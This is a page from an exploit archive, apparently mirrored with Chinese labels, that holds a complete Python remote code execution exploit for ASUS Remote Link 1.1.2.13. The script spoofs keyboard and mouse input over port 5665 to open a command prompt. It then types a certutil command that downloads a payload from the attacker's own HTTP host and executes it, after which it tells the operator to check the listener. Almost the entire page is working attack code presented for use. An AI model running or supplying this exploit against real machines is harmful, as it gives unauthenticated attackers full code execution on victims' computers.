发布 2021-02-25 漏洞条目

ASUS Remote Link 1.1.2.13 – Remote Code Execution

Exploit Source

# Exploit: ASUS Remote Link 1.1.2.13 - Remote Code Execution

# Date: 24-02-2021

# Exploit Author: H4rk3nz0

# Vendor Homepage: http://asus.com/

# Software Link: http://remotelink.asus.com/

# Version: 1.1.2.13

# Tested on: Windows 10 Enterprise Build 17763

# CVE: N/A

#!/usr/bin/python

import socket

from time import sleep

import sys

port = 5665

target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

prefix = "04020b02"

suffix = "0000020000000000000000000300000000000000000004000000000000000000010000"

enter = (prefix + ("0" * 1038)).decode("hex")

string_prefix = "04020b0200000000010000"

string_suffix = "0" * 1022

pre_command = "04000b0200000000".decode("hex")

user_declare = ("02028a0000000000000057696e646f777320446566656e646572" + "0" * 224).decode("hex") # Declares Connection Source as 'Windows Defender'

# ASCII to Hex Character List

characters={

"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",

"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",

"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",

"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",

"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",

" ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",

">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",

"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",

"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}

# User Specified arguments

try:

rhost = "192.168.1.93"

lhost = sys.argv[2]

payload = sys.argv[3]

except:

print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")

exit()

# HandShake Packets to Smart Gesture Server

def Handshake():

target.connect((rhost,port))

target.sendto("b2".decode("hex"),(rhost,port))

target.sendto("38323538".decode("hex"),(rhost,port))

target.sendto("03000f0000000000".decode("hex"),(rhost,port))

target.sendto("03020f000000000003310000000000".decode("hex"),(rhost,port))

target.sendto("02008a0000000000".decode("hex"),(rhost,port))

target.sendto(user_declare,(rhost,port))

sleep(0.1)

def MoveMouse():

for i in range(0,16):

target.sendto("0000330038040006".decode("hex"),(rhost,port))

target.sendto(("00013300380400060101db010000c502" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101d0010000ca02" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101c7010000ce02" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101bd010000d202" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101b2010000d502" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101a6010000d802" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010199010000db02" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601018d010000de02" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010180010000e002" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010171010000e402" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010163010000e602" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010154010000e902" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010146010000eb02" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601013b010000ed02" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601012d010000f002" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010120010000f302" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010113010000f702" + suffix).decode("hex"),(rhost,port))

target.sendto(("0001330038040006010107010000fa02" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101fa000000fd02" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101f10000000003" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101e50000000303" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101d90000000603" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101ce0000000903" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101c20000000d03" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101b60000001103" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101ab0000001403" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101a00000001803" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101950000001c03" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101890000002003" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601017e0000002403" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101740000002703" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601016c0000002a03" + suffix).decode("hex"),(rhost,port))

target.sendto(("00013300380400060101650000002c03" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601015c0000002f03" + suffix).decode("hex"),(rhost,port))

target.sendto(("000133003804000601015c0000003003" + suffix).decode("hex"),(rhost,port))

target.sendto(("000233003804000601005c0000003003" + suffix).decode("hex"),(rhost,port))

sleep(0.6)

# Sends Left Click Input (Occasional Delay for some Reason)

def LeftClick():

target.sendto("0000330038040006".decode("hex"),(rhost,port))

target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))

target.sendto(("0002330038040006010016020000e502" + suffix).decode("hex"),(rhost,port))

sleep(4)

# Send Enter/Return Key Input

def SendReturn():

target.sendto(pre_command,(rhost,port))

sleep(0.2)

target.sendto(enter,(rhost,port)) # Enter/Return Key

# Send String Characters

def SendString(string):

for char in string:

convert = characters[char]

final_string = string_prefix + convert + string_suffix

target.sendto(pre_command,(rhost,port))

target.sendto(final_string.decode("hex"),(rhost,port))

sleep(0.2)

# Main Execution

def main():

print("[+] Saying Hello")

Handshake()

sleep(2)

print("[+] Moving Mouse")

MoveMouse()

print("[+] Left Clicking (takes a few seconds)")

LeftClick() # Left Click is delayed sometimes

print("[+] Opening CMD")

SendString("cmd.exe") # Start Command Prompt

sleep(0.5)

SendReturn()

sleep(1)

print("[+] Retrieving Payload")

SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\Temp\\" + payload) # Retrieve Payload

sleep(0.5)

SendReturn()

sleep(3)

print("[+] Executing")

SendString("C:\\Windows\\Temp\\" + payload) # Execute Payload

sleep(0.5)

SendReturn()

sleep(0.5)

print("[+] Done! Check your listener?")

SendReturn() # Trailing Enter Command Ensures full execution

target.close()

exit()

if __name__=="__main__":

main()

作者: H4rk3nz0
日期: 2021-02-25
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow